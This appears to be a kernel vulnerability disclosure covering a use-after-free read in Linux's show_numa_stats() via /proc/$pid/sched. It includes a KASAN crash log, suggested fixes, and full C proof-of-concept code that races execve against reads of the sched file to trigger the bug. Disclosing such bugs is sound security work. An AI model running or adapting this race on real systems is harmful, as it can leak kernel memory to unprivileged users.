Linux – Use-After-Free Reads in show_numa_stats()
/* On NUMA systems, the Linux fair scheduler tracks information related to NUMA faults in task_struct::numa_faults and task_struct::numa_group. Both of these have broken object lifetimes. Since commit 82727018b0d3 ("sched/numa: Call task_numa_free() from do_execve()", first in v3.13), ->numa_faults is freed not only when the last reference to the task_struct is gone, but also after successful execve(). However, show_numa_stats() (reachable through /proc/$pid/sched) locklessly reads data from ->numa_faults (use-after-free read) and prints it to a userspace buffer. To test this, I used a QEMU VM with the following NUMA configuration: -m 8192 -smp cores=4 -numa node,nodeid=0 -numa node,nodeid=1 Test code is attached; it takes a while before it triggers the bug since the race window is pretty small. KASAN report: ============================ [ 909.461282] ================================================================== [ 909.464502] BUG: KASAN: use-after-free in show_numa_stats+0x99/0x160 [ 909.465250] Read of size 8 at addr ffff8880ac8f8f00 by task numa_uaf/18471 [ 909.466167] CPU: 0 PID: 18471 Comm: numa_uaf Not tainted 5.2.0-rc7 #443 [ 909.466877] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014 [ 909.467751] Call Trace: [ 909.468072] dump_stack+0x7c/0xbb [ 909.468413] ? show_numa_stats+0x99/0x160 [ 909.468879] print_address_description+0x6e/0x2a0 [ 909.469419] ? show_numa_stats+0x99/0x160 [ 909.469828] ? show_numa_stats+0x99/0x160 [ 909.470292] __kasan_report+0x149/0x18d [ 909.470683] ? show_numa_stats+0x99/0x160 [ 909.471137] kasan_report+0xe/0x20 [ 909.471533] show_numa_stats+0x99/0x160 [ 909.471988] proc_sched_show_task+0x6ae/0x1e60 [ 909.472467] sched_show+0x6a/0xa0 [ 909.472836] seq_read+0x197/0x690 [ 909.473264] vfs_read+0xb2/0x1b0 [ 909.473616] ksys_pread64+0x74/0x90 [ 909.474034] do_syscall_64+0x5d/0x260 [ 909.474975] entry_SYSCALL_64_after_hwframe+0x49/0xbe [ 909.475512] RIP: 0033:0x7f6f57742987 [ 909.475878] Code: 35 39 a4 09 00 48 8d 3d d1 a4 09 00 e8 52 77 f4 ff 66 90 48 8d 05 79 7d 0d 00 49 89 ca 8b 00 85 c0 75 10 b8 11 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 59 c3 41 55 49 89 cd 41 54 49 89 d4 55 48 89 [ 909.477905] RSP: 002b:00005565fc10d108 EFLAGS: 00000246 ORIG_RAX: 0000000000000011 [ 909.478684] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6f57742987 [ 909.479393] RDX: 0000000000001000 RSI: 00005565fc10d120 RDI: 0000000000000005 [ 909.480254] RBP: 00005565fc10e130 R08: 00007f6f57657740 R09: 00007f6f57657740 [ 909.481037] R10: 0000000000000000 R11: 0000000000000246 R12: 00005565fbf0b1f0 [ 909.481821] R13: 00007ffe60338770 R14: 0000000000000000 R15: 0000000000000000 [ 909.482744] Allocated by task 18469: [ 909.483135] save_stack+0x19/0x80 [ 909.483475] __kasan_kmalloc.constprop.3+0xa0/0xd0 [ 909.483957] task_numa_fault+0xff2/0x1d30 [ 909.484414] __handle_mm_fault+0x94f/0x1320 [ 909.484887] handle_mm_fault+0x7e/0x100 [ 909.485323] __do_page_fault+0x2bb/0x610 [ 909.485722] async_page_fault+0x1e/0x30 [ 909.486355] Freed by task 18469: [ 909.486687] save_stack+0x19/0x80 [ 909.487027] __kasan_slab_free+0x12e/0x180 [ 909.487497] kfree+0xd8/0x290 [ 909.487805] __do_execve_file.isra.41+0xf1e/0x1140 [ 909.488316] __x64_sys_execve+0x4f/0x60 [ 909.488706] do_syscall_64+0x5d/0x260 [ 909.489144] entry_SYSCALL_64_after_hwframe+0x49/0xbe [ 909.490121] The buggy address belongs to the object at ffff8880ac8f8f00 which belongs to the cache kmalloc-128 of size 128 [ 909.491564] The buggy address is located 0 bytes inside of 128-byte region [ffff8880ac8f8f00, ffff8880ac8f8f80) [ 909.492919] The buggy address belongs to the page: [ 909.493445] page:ffffea0002b23e00 refcount:1 mapcount:0 mapping:ffff8880b7003500 index:0xffff8880ac8f8d80 [ 909.494419] flags: 0x1fffc0000000200(slab) [ 909.494836] raw: 01fffc0000000200 ffffea0002cec780 0000000900000009 ffff8880b7003500 [ 909.495633] raw: ffff8880ac8f8d80 0000000080150011 00000001ffffffff 0000000000000000 [ 909.496451] page dumped because: kasan: bad access detected [ 909.497291] Memory state around the buggy address: [ 909.497775] ffff8880ac8f8e00: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb [ 909.498546] ffff8880ac8f8e80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc [ 909.499319] >ffff8880ac8f8f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 909.500034] ^ [ 909.500429] ffff8880ac8f8f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 909.501150] ffff8880ac8f9000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 909.501942] ================================================================== [ 909.502712] Disabling lock debugging due to kernel taint ============================ ->numa_group is a refcounted reference with RCU semantics, but the RCU helpers are used inconsistently. In particular, show_numa_stats() reads from p->numa_group->faults with no protection against concurrent updates. There are also various other places across the scheduler that use ->numa_group without proper protection; e.g. as far as I can tell, sched_tick_remote()->task_tick_fair()->task_tick_numa()->task_scan_start() reads from p->numa_group protected only by the implicit read-side critical section that spinlocks currently imply by disabling preemption, and with no protection against the pointer unexpectedly becoming NULL. I am going to send suggested fixes in a minute, but I think the approach for ->numa_group might be a bit controversial. The approach I'm taking is: - For ->numa_faults, just wipe the statistics instead of freeing them. - For ->numa_group, use proper RCU accessors everywhere. Annoyingly, if one of the RCU accessors detects a problem (with CONFIG_PROVE_LOCKING=y), it uses printk, and if the wrong runqueue lock is held at that point, a deadlock might happen, which isn't great. To avoid that, the second patch adds an ugly hack in printk that detects potential runqueue deadlocks if lockdep is on. I'm not sure how you all are going to feel about that one - maybe it's better to just leave it out, or do something different there? I don't know... I'm sending the suggested patches off-list for now; if you want me to resend them publicly, just say so. */ #define _GNU_SOURCE #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <numaif.h> #include <sched.h> #include <err.h> #include <time.h> #include <fcntl.h> #include <signal.h> #include <sys/prctl.h> #include <sys/mman.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <sys/uio.h> #include <sys/syscall.h> #include <linux/userfaultfd.h> int sched_fd; int get_scan_seq(void) { char buf[0x1000]; ssize_t buflen = pread(sched_fd, buf, sizeof(buf)-1, 0); if (buflen == -1) err(1, "read sched"); buf[buflen] = '\0'; char *p = strstr(buf, "numa_scan_seq"); if (!p) errx(1, "no numa_scan_seq"); *strchrnul(p, '\n') = '\0'; p = strpbrk(p, "0123456789"); if (!p) errx(1, "no numa_scan_seq"); return atoi(p); } void reexec(char *arg0) { char *argv[] = {arg0, NULL}; execvp("/proc/self/exe", argv); err(1, "reexec"); } volatile int uaf_child_ready = 0; static int sfd_uaf(void *fd_) { int fd = (int)(long)fd_; /* prctl(PR_SET_PDEATHSIG, SIGKILL); if (getppid() == 1) raise(SIGKILL); */ while (1) { char buf[0x1000]; ssize_t res = pread(fd, buf, sizeof(buf)-1, 0); if (res == -1) { if (errno == ESRCH) _exit(0); err(1, "pread"); } buf[res] = '\0'; puts(buf); uaf_child_ready = 1; } } int main(int argc, char **argv) { if (strcmp(argv[0], "die") == 0) { _exit(0); } sched_fd = open("/proc/self/sched", O_RDONLY|O_CLOEXEC); if (sched_fd == -1) err(1, "open sched"); // allocate two pages at the lowest possible virtual address so that the first periodic memory fault is scheduled on the first page char *page = mmap((void*)0x1000, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0); if (page == MAP_FAILED) err(1, "mmap"); *page = 'a'; // handle the second page with uffd int ufd = syscall(__NR_userfaultfd, 0); if (ufd == -1) err(1, "userfaultfd"); struct uffdio_api api = { .api = UFFD_API, .features = 0 }; if (ioctl(ufd, UFFDIO_API, &api)) err(1, "uffdio_api"); struct uffdio_register reg = { .mode = UFFDIO_REGISTER_MODE_MISSING, .range = { .start = (__u64)page+0x1000, .len = 0x1000 } }; if (ioctl(ufd, UFFDIO_REGISTER, ®)) err(1, "uffdio_register"); // make sure that the page is on the CPU-less NUMA node unsigned long old_nodes = 0x1; unsigned long new_nodes = 0x2; if (migrate_pages(0, sizeof(unsigned long), &old_nodes, &new_nodes)) err(1, "migrate_pages"); // trigger userfault in child pid_t uffd_child = fork(); if (uffd_child == -1) err(1, "fork"); if (uffd_child == 0) { prctl(PR_SET_PDEATHSIG, SIGKILL); struct iovec iov = { .iov_base = (void*)0x1fff, .iov_len = 2 }; process_vm_readv(getppid(), &iov, 1, &iov, 1, 0); err(1, "process_vm_readv returned"); } sleep(1); int ini_seq = get_scan_seq(); printf("initial scan_seq: %d\n", ini_seq); if (ini_seq) reexec("m"); // wait for a migration time_t start_time = time(NULL); while (1) { if (time(NULL) > start_time + 30) { puts("no migration detected!"); reexec("m"); } int cur_seq = get_scan_seq(); if (cur_seq != 0) { printf("new scan_seq: %d\n", cur_seq); goto migration_done; } } migration_done: printf("migration done after %d seconds\n", (int)(time(NULL)-start_time)); while (1) { pid_t pid = fork(); if (pid == -1) err(1, "fork"); if (pid == 0) { static char uaf_stack[1024*1024]; static char uaf_stack2[1024*1024]; int sfd = open("/proc/self/sched", O_RDONLY); if (sfd == -1) err(1, "open sched"); pid_t uaf_child = clone(sfd_uaf, uaf_stack+sizeof(uaf_stack), CLONE_FILES|CLONE_VM, (void*)(long)sfd); if (uaf_child == -1) err(1, "clone uaf_child"); uaf_child = clone(sfd_uaf, uaf_stack2+sizeof(uaf_stack2), CLONE_FILES|CLONE_VM, (void*)(long)sfd); if (uaf_child == -1) err(1, "clone uaf_child"); while (!uaf_child_ready) __builtin_ia32_pause(); *(volatile char *)page = 'b'; reexec("die"); } int status; if (wait(&status) != pid) err(1, "wait"); } } |